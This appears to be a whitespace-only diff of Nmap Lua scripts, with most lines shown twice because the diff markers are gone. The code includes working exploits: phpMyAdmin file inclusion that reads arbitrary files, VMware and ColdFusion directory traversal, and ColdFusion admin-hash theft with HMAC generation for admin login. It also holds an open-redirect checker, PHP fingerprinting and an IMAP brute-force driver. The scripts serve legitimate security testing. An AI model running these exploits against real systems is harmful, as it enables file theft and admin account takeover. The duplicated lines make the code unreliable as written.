local s,f = string.find(destination, v)
if s == 1 then
-- Build a new URL
q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
return url.build_query(q)
end
end
return false;
end
action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
crawler:set_timeout(10000)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
crawler:set_timeout(10000)
local results = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local response = r.response
-- Was it a redirect?
if response and response.header and response.header.location and isRedirect(response.status) then
-- Were any parameters involved?
local parsed = url.parse(tostring(r.url));
local results = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local response = r.response
-- Was it a redirect?
if response and response.header and response.header.location and isRedirect(response.status) then
-- Were any parameters involved?
local parsed = url.parse(tostring(r.url));
-- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then
-- Now we need to check if any of the parameters were echoed in the location-header
local destination = response.header.location
local newQuery = checkLocationEcho(parsed.query, destination)
--dbg("newQuery: %s" , tostring(newQuery))
if newQuery then
local host, port = getHostPort(parsed);
local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. newQuery
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
local testResponse = http.get(host, port, url);
--dbgt(testResponse)
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
end
end
end
end
-- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then
-- Now we need to check if any of the parameters were echoed in the location-header
local destination = response.header.location
local newQuery = checkLocationEcho(parsed.query, destination)
--dbg("newQuery: %s" , tostring(newQuery))
if newQuery then
local host, port = getHostPort(parsed);
local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. newQuery
dbg("Checking potential open redirect: %s:%s%s", host,port,url);
local testResponse = http.get(host, port, url);
--dbgt(testResponse)
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
end
end
end
end
end
if ( #results> 0 ) then
return stdnse.format_output(true, results)
end
end
if ( #results> 0 ) then
return stdnse.format_output(true, results)
end
end

View File

@@ -48,100 +48,100 @@ local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
-- http://seclists.org/nmap-dev/2010/q4/518
local LOGO_HASHES = {
-- Bunny (Carmella)
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
-- Black Scottish Terrier (Scotch)
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
-- Colored
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
-- Brown Dog In Grass (Nadia)
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
-- Elephant
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
-- Bunny (Carmella)
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
-- Black Scottish Terrier (Scotch)
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
-- Colored
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
-- PHP Code Guy With Breadsticks (Thies C. Arntzen)
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
-- Brown Dog In Grass (Nadia)
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
-- Elephant
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
}
local CREDITS_HASHES = {
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
}
action = function(host, port)
local response
local logo_versions, credits_versions
local logo_hash, credits_hash
local header_name, header_value
local lines
local response
local logo_versions, credits_versions
local logo_hash, credits_hash
local header_name, header_value
local lines
-- 1st pass : the "special" PHP-logo test
response = http.get(host, port, LOGO_QUERY)
if response.body and response.status == 200 then
logo_hash = stdnse.tohex(openssl.md5(response.body))
logo_versions = LOGO_HASHES[logo_hash]
end
-- 1st pass : the "special" PHP-logo test
response = http.get(host, port, LOGO_QUERY)
if response.body and response.status == 200 then
logo_hash = stdnse.tohex(openssl.md5(response.body))
logo_versions = LOGO_HASHES[logo_hash]
end
-- 2nd pass : the PHP-credits test
response = http.get(host, port, CREDITS_QUERY)
if response.body and response.status == 200 then
credits_hash = stdnse.tohex(openssl.md5(response.body))
credits_versions = CREDITS_HASHES[credits_hash]
end
-- 2nd pass : the PHP-credits test
response = http.get(host, port, CREDITS_QUERY)
if response.body and response.status == 200 then
credits_hash = stdnse.tohex(openssl.md5(response.body))
credits_versions = CREDITS_HASHES[credits_hash]
end
for name, value in pairs(response.header) do
if string.match(value, "^PHP/") then
header_name = name
header_value = value
break
end
end
for name, value in pairs(response.header) do
if string.match(value, "^PHP/") then
header_name = name
header_value = value
break
end
end
lines = {}
if logo_versions then
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
elseif logo_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
end
if credits_versions then
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
elseif credits_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
end
if header_name and header_value then
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
end
lines = {}
if logo_versions then
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
elseif logo_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
end
if credits_versions then
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
elseif credits_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
end
if header_name and header_value then
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
end
if #lines > 0 then
return stdnse.strjoin("\n", lines)
end
if #lines > 0 then
return stdnse.strjoin("\n", lines)
end
end

View File

@@ -94,49 +94,49 @@ local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
action = function(host, port)
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
local evil_uri = dir..EXPLOIT_PATH
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
local evil_postdata = EXPLOIT_QUERY:format(rfile)
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
local evil_uri = dir..EXPLOIT_PATH
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
local evil_postdata = EXPLOIT_QUERY:format(rfile)
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
local vuln = {
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
IDS = {CVE = 'CVE-2005-3299'},
state = vulns.STATE.NOT_VULN,
description =
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
]],
references = {
'http://www.exploit-db.com/exploits/1244/',
},
dates = {
disclosure = {year = '2005', month = '10', dat = '10'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
IDS = {CVE = 'CVE-2005-3299'},
state = vulns.STATE.NOT_VULN,
description =
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
]],
references = {
'http://www.exploit-db.com/exploits/1244/',
},
dates = {
disclosure = {year = '2005', month = '10', dat = '10'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local response = http.post(host, port, evil_uri,
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
if response.body and response.status==200 then
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.state = vulns.STATE.EXPLOIT
vuln.extra_info = rfile.." :\n"..response.body
if filewrite then
local status, err = write_file(filewrite, response.body)
if status then
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
else
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
end
end
elseif response.status==500 then
vuln.state = vulns.STATE.LIKELY_VULN
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.extra_info = string.format("%s not found.\n", rfile)
end
return vuln_report:make_output(vuln)
local response = http.post(host, port, evil_uri,
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
if response.body and response.status==200 then
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.state = vulns.STATE.EXPLOIT
vuln.extra_info = rfile.." :\n"..response.body
if filewrite then
local status, err = write_file(filewrite, response.body)
if status then
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
else
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
end
end
elseif response.status==500 then
vuln.state = vulns.STATE.LIKELY_VULN
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.extra_info = string.format("%s not found.\n", rfile)
end
return vuln_report:make_output(vuln)
end

View File

@@ -35,45 +35,45 @@ categories = {"vuln", "safe"}
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
local function get_file(host, port, path)
local file
local file
-- Replace spaces in the path with %20
path = string.gsub(path, " ", "%%20")
-- Replace spaces in the path with %20
path = string.gsub(path, " ", "%%20")
-- Try both ../ and %2E%2E/
file = "/sdk/../../../../../../" .. path
-- Try both ../ and %2E%2E/
file = "/sdk/../../../../../../" .. path
local result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
result = http.get( host, port, file)
local result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then
return false, "Couldn't download file: " .. path
end
end
if(result['status'] ~= 200 or result['content-length'] == 0) then
return false, "Couldn't download file: " .. path
end
end
return true, result.body, file
return true, result.body, file
end
local function fake_xml_parse(str, tag)
local result = {}
local index, tag_start, tag_end
local result = {}
local index, tag_start, tag_end
-- Lowercase the 'body' we're searching
local lc = string.lower(str)
-- Lowrcase the tag
tag = string.lower(tag)
-- Lowercase the 'body' we're searching
local lc = string.lower(str)
-- Lowrcase the tag
tag = string.lower(tag)
-- This loop does some ugly pattern-based xml parsing
index, tag_start = string.find(lc, "<" .. tag .. ">")
while index do
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
end
-- This loop does some ugly pattern-based xml parsing
index, tag_start = string.find(lc, "<" .. tag .. ">")
while index do
tag_end, index = string.find(lc, "</" .. tag .. ">", index)
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
index, tag_start = string.find(lc, "<" .. tag .. ">", index)
end
return result
return result
end
--local function parse_vmware_conf(str, field)
@@ -91,51 +91,51 @@ end
--end
local function go(host, port)
local result, body
local files
local result, body
local files
-- Try to download the file
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
-- It failed -- probably not vulnerable
if(not(result)) then
return false, "Couldn't download file: " .. body
end
-- Try to download the file
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
-- It failed -- probably not vulnerable
if(not(result)) then
return false, "Couldn't download file: " .. body
end
-- Check if the file contains the proper XML
if(string.find(string.lower(body), "configroot") == nil) then
return false, "Server didn't return XML -- likely not vulnerable."
end
-- Check if the file contains the proper XML
if(string.find(string.lower(body), "configroot") == nil) then
return false, "Server didn't return XML -- likely not vulnerable."
end
files = fake_xml_parse(body, "vmxcfgpath")
files = fake_xml_parse(body, "vmxcfgpath")
if(#files == 0) then
return true, {"No VMs appear to be installed"}
end
if(#files == 0) then
return true, {"No VMs appear to be installed"}
end
-- Process each of the .vmx files if verbosity is on
-- if(nmap.verbosity() > 1) then
-- local result, file = get_file(host, port, files[1])
--io.write(nsedebug.tostr(file))
-- end
-- Process each of the .vmx files if verbosity is on
--if(nmap.verbosity() > 1) then
-- local result, file = get_file(host, port, files[1])
-- io.write(nsedebug.tostr(file))
--end
return true, files
return true, files
end
action = function(host, port)
-- Try a standard ../ path
local status, result = go(host, port)
-- Try a standard ../ path
local status, result = go(host, port)
if(not(status)) then
return nil
end
if(not(status)) then
return nil
end
local response = {}
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
local response = {}
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
if(nmap.verbosity() > 1) then
table.insert(response, result)
end
if(nmap.verbosity() > 1) then
table.insert(response, result)
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -60,80 +60,80 @@ portrule = shortport.http
action = function(host, port)
local vuln = {
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
description = [[
title = 'Adobe ColdFusion Directory Traversal Vulnerability',
state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
description = [[
Multiple directory traversal vulnerabilities in the administrator console
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
locale parameter]],
references = {
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
'http://osvdb.org/67047',
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
},
dates = {
disclosure = {year = '2010', month = '08', day = '10'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
references = {
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
'http://osvdb.org/67047',
'http://www.nessus.org/plugins/index.php?view=single&id=48340',
},
dates = {
disclosure = {year = '2010', month = '08', day = '10'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-- Function to do the look up and return content
local grabAndGrep = function(page)
-- Do the HTTP GET request for the page
local response = http.get(host, port, page)
-- Check to see if we get a good page returned
-- Is there no response?
if ( not(response.status) ) then
return false, "Received no response from HTTP server"
end
-- Function to do the look up and return content
local grabAndGrep = function(page)
-- Do the HTTP GET request for the page
local response = http.get(host, port, page)
-- Check to see if we get a good page returned
-- Is there no response?
if ( not(response.status) ) then
return false, "Received no response from HTTP server"
end
-- Is the response not an HTTP 200 code?
if ( response.status ~= 200 ) then
return false, ("The server returned an unexpected response (%d)"):format(response.status )
end
-- Is the response not an HTTP 200 code?
if ( response.status ~= 200 ) then
return false, ("The server returned an unexpected response (%d)"):format(response.status )
end
-- Now check the body for our strings
if ( response.body ) then
local saltcontent = response.body:match("salt.*value=\"(%d+)")
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
-- Now check the body for our strings
if ( response.body ) then
local saltcontent = response.body:match("salt.*value=\"(%d+)")
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
-- If a page has both the salt and the password in it then the exploit has been successful
if ( saltcontent and hashcontent ) then
vuln.state = vulns.STATE.EXPLOIT
-- Generate HMAC as this is what the web application needs for authentication as admin
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
local result = {
("HMAC: %s"):format(hmaccontent),
("Salt: %s"):format(saltcontent),
("Hash: %s"):format(hashcontent)
}
return true, result
end
end
return false, "Not vulnerable"
end
-- If a page has both the salt and the password in it then the exploit has been successful
if ( saltcontent and hashcontent ) then
vuln.state = vulns.STATE.EXPLOIT
-- Generate HMAC as this is what the web application needs for authentication as admin
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
local result = {
("HMAC: %s"):format(hmaccontent),
("Salt: %s"):format(saltcontent),
("Hash: %s"):format(hashcontent)
}
return true, result
end
end
return false, "Not vulnerable"
end
local exploits = {
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
}
local exploits = {
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
}
local results = {}
for prod, exploit in pairs(exploits) do
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
if ( "string" == type(result) ) then
result = { result }
end
result.name = prod
table.insert(results, result )
end
end
vuln.extra_info=stdnse.format_output(true, results)
return vuln_report:make_output(vuln)
local results = {}
for prod, exploit in pairs(exploits) do
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
if ( "string" == type(result) ) then
result = { result }
end
result.name = prod
table.insert(results, result )
end
end
vuln.extra_info=stdnse.format_output(true, results)
return vuln_report:make_output(vuln)
end

View File

@@ -46,98 +46,98 @@ ConnectionPool = {}
Driver =
{
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port, pool)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port, pool)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then
self.helper = imap.Helper:new( self.host, self.port )
self.helper:connect()
ConnectionPool[coroutine.running()] = self.helper
end
return true
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then
self.helper = imap.Helper:new( self.host, self.port )
self.helper:connect()
ConnectionPool[coroutine.running()] = self.helper
end
return true
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = self.helper:login( username, password, mech )
if ( status ) then
self.helper:close()
self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close()
self.helper:connect()
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = self.helper:login( username, password, mech )
if ( status ) then
self.helper:close()
self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close()
self.helper:connect()
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
}
action = function(host, port)
-- Connects to the server and retrieves the capabilities so that
-- authentication mechanisms can be determined
local helper = imap.Helper:new(host, port)
local status = helper:connect()
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
local status, capabilities = helper:capabilities()
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
-- Connects to the server and retrieves the capabilities so that
-- authentication mechanisms can be determined
local helper = imap.Helper:new(host, port)
local status = helper:connect()
if (not(status)) then return "\n ERROR: Failed to connect to the server." end
local status, capabilities = helper:capabilities()
if (not(status)) then return "\n ERROR: Failed to retrieve capabilities." end
-- check if an authentication mechanism was provided or try
-- try them in the mech_prio order
local mech_prio = stdnse.get_script_args("imap-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
-- check if an authentication mechanism was provided or try
-- try them in the mech_prio order
local mech_prio = stdnse.get_script_args("imap-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
-- iterates over auth mechanisms until a valid mechanism is found
for _, m in ipairs(mech_prio) do
if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
mech = "LOGIN"
break
elseif ( capabilities["AUTH=" .. m] ) then
mech = m
break
end
end
-- iterates over auth mechanisms until a valid mechanism is found
for _, m in ipairs(mech_prio) do
